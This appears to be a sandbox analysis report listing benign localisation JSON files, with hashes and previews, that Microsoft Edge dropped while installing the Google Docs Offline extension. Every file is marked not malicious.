SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
